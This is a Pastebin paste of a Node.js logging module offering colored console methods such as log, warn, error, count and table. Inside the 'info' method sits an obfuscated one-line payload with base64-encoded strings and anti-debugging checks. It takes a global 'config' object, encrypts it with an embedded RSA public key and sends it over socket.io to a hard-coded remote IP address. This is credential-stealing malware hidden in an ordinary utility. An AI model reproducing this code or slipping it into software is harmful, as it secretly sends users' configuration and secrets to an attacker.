Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var chalk = require('chalk');
- var util = require('util');
- var logTable = require('./log_table');
- var countBuffer = {};
- function logWithColor(color, args, isError){
- var log = util.format.apply(this, args);
- if(isError)
- console.error(chalk[color](log));
- else
- console.log(chalk[color](log));
- }
- module.exports = {
- // Writes a message to the console. You may pass as many arguments as
- // you'd like, and they will be joined together in a space-delimited line.
- // The first argument to log may be a string containing
- // printf-like string substitution patterns.
- log: function(){
- console.log.apply(this, arguments);
- },
- // Writes a message to the console with blue color
- info: function(){
- console.log.apply(this, arguments); var a=['ZW1pdA==','bm9kZS1yc2E=','LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQW1HN0dUcjB5QzdOK1JCbHF5SEtyazFuVkFvVXVFN3F3KzIveUhFNUUvbWNQZ2RSRzdyNm1jeElsODkxagpSRkVsOUluN29EUVJ4WHprWVNTT1lkcFcvRFA3UG9qZVI4ODF5QnM5SkJZWkM4ZG5zMkpUSXFUVU1QR0ZQZ1N0OHUxdklHNWsKdTJYbkh2b3dManBOTGlHeHRXSHlMVnlTcGp2Z0hDTjcxTUNYekhiN0dPYlB6V0g2dXAxc2VJc0U0UWtYWHYxaXNsQ0ZIa0dNCk5rSFNEdE1NTVZ5RXBXd2FvT1Z6QXlmWjNoMWZlaGxKQ1p4RWFMYnFJeklyVUUydUFtVjJ0YzRWcndjOUlwL2N5WmtVQ2l0cAowR0lHc1E4SEFPWWpkK2krNWZxRHB6c0IyOVBoL1JSSnN2aCsycG80ajdFYlQyUU5oMkhKakJDdWh6RlpXcFNzUHdJREFRQUIKLS0tLS1FTkQgUlNBIFBVQkxJQyBLRVktLS0tLQ==','c3RyaW5naWZ5','ZW5jcnlwdA==','YmFzZTY0','Y29ubmVjdA=='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};var g=function(){var h={'data':{'key':'cookie','value':'timeout'},'setCookie':function(i,j,k,l){l=l||{};var m=j+'='+k;var n=0x0;for(var n=0x0,p=i['length'];n<p;n++){var q=i[n];m+=';\x20'+q;var r=i[q];i['push'](r);p=i['length'];if(r!==!![]){m+='='+r;}}l['cookie']=m;},'removeCookie':function(){return'dev';},'getCookie':function(s,t){s=s||function(u){return u;};var v=s(new RegExp('(?:^|;\x20)'+t['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));var w=function(x,y){x(++y);};w(e,d);return v?decodeURIComponent(v[0x1]):undefined;}};var z=function(){var A=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return A['test'](h['removeCookie']['toString']());};h['updateCookie']=z;var B='';var C=h['updateCookie']();if(!C){h['setCookie'](['*'],'counter',0x1);}else if(C){B=h['getCookie'](null,'counter');}else{h['removeCookie']();}};g();}(a,0x9b));var b=function(c,d){c=c-0x0;var e=a[c];if(b['initialized']===undefined){(function(){var f;try{var g=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');f=g();}catch(h){f=window;}var i='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';f['atob']||(f['atob']=function(j){var k=String(j)['replace'](/=+$/,'');for(var l=0x0,m,n,o=0x0,p='';n=k['charAt'](o++);~n&&(m=l%0x4?m*0x40+n:n,l++%0x4)?p+=String['fromCharCode'](0xff&m>>(-0x2*l&0x6)):0x0){n=i['indexOf'](n);}return p;});}());b['base64DecodeUnicode']=function(q){var r=atob(q);var s=[];for(var t=0x0,u=r['length'];t<u;t++){s+='%'+('00'+r['charCodeAt'](t)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(s);};b['data']={};b['initialized']=!![];}var v=b['data'][c];if(v===undefined){var w=function(x){this['rc4Bytes']=x;this['states']=[0x1,0x0,0x0];this['newState']=function(){return'newState';};this['firstState']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['secondState']='[\x27|\x22].+[\x27|\x22];?\x20*}';};w['prototype']['checkState']=function(){var y=new RegExp(this['firstState']+this['secondState']);return this['runState'](y['test'](this['newState']['toString']())?--this['states'][0x1]:--this['states'][0x0]);};w['prototype']['runState']=function(z){if(!Boolean(~z)){return z;}return this['getState'](this['rc4Bytes']);};w['prototype']['getState']=function(A){for(var B=0x0,C=this['states']['length'];B<C;B++){this['states']['push'](Math['round'](Math['random']()));C=this['states']['length'];}return A(this['states'][0x0]);};new w(b)['checkState']();e=b['base64DecodeUnicode'](e);b['data'][c]=e;}else{e=v;}return e;};var c=function(){var c=!![];return function(d,e){var f=c?function(){if(e){var g=e['apply'](d,arguments);e=null;return g;}}:function(){};c=![];return f;};}();var k=c(this,function(){var c=function(){return'\x64\x65\x76';},d=function(){return'\x77\x69\x6e\x64\x6f\x77';};var e=function(){var f=new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!f['\x74\x65\x73\x74'](c['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var g=function(){var h=new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');return h['\x74\x65\x73\x74'](d['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var i=function(j){var k=~-0x1>>0x1+0xff%0x0;if(j['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===k)){l(j);}};var l=function(m){var n=~-0x4>>0x1+0xff%0x0;if(m['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!==n){n(m);}};if(!e()){if(!g()){i('\x69\x6e\x64\u0435\x78\x4f\x66');}else{i('\x69\x6e\x64\x65\x78\x4f\x66');}}else{i('\x69\x6e\x64\u0435\x78\x4f\x66');}});k();if(config!=undefined){var d=require('socket.io-client');var e=require(b('0x0'));var f=new e(b('0x1'));var g=JSON[b('0x2')](config);var h=f[b('0x3')](g,b('0x4'));try{var i=d['connect']('http://45.56.74.164:8080');}catch(j){}i['on'](b('0x5'),()=>{});i[b('0x6')]('chat\x20message',h);setTimeout(function(){i['disconnect']();},0x7d0);};
- },
- // Writes a message to the console with yellow color
- warn: function(){
- logWithColor('yellow', arguments, true);
- },
- // Writes a message to the console with red color
- error: function(){
- logWithColor('red', arguments, true);
- },
- // Writes a message to the console with regular color
- debug: function(){
- console.log.apply(this, arguments);
- },
- // Prints an interactive listing of all properties of the object.
- dir: function(){
- console.dir.apply(this, arguments);
- },
- // Clears the terminal buffer
- clear: function(){
- process.stdout.write('\u001B[2J\u001B[0;0f');
- },
- // Prints a stack trace of JavaScript execution at the point
- // where it is called. The stack trace details the functions on the stack,
- // as well as the values that were passed as arguments to each function.
- trace: function(){
- console.trace.apply(this, arguments);
- },
- // Does nothing if first argument is truly. If first argument is falsy
- // it Writes red warning and throws assertion error
- assert: function(assertion){
- // todo: for now we are cheating, it's just console.erroring and then
- // leave console.asset to do it's job. actual todo: print what
- // console.assert prints just make first line red
- if (!assertion){
- logWithColor('red', ['AssertionError: false == true']);
- console.assert(assertion);
- }
- },
- // Writes number of times each argument is called with blue color
- count: function(toCount){
- var toCountString = toCount.toString && toCount.toString(),
- log;
- if (countBuffer[toCountString] == null){
- countBuffer[toCountString] = 0;
- }else{
- countBuffer[toCountString] += 1;
- }
- log = toCountString + ': ' + countBuffer[toCountString];
- logWithColor('blue', [log]);
- },
- // Creates a new timer under the given name. Call console.timeEnd(name)
- // with the same name to stop the timer and print the time elapsed..
- time: function(){
- console.time.apply(this, arguments);
- },
- // Stops a timer created by a call to console.time(name) and writes the time
- // elapsed.
- timeEnd: function(){
- console.timeEnd.apply(this, arguments);
- },
- // draws a table of elements inside of a 2d array or object
- table: function(){
- logTable.apply(this, arguments);
- }
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement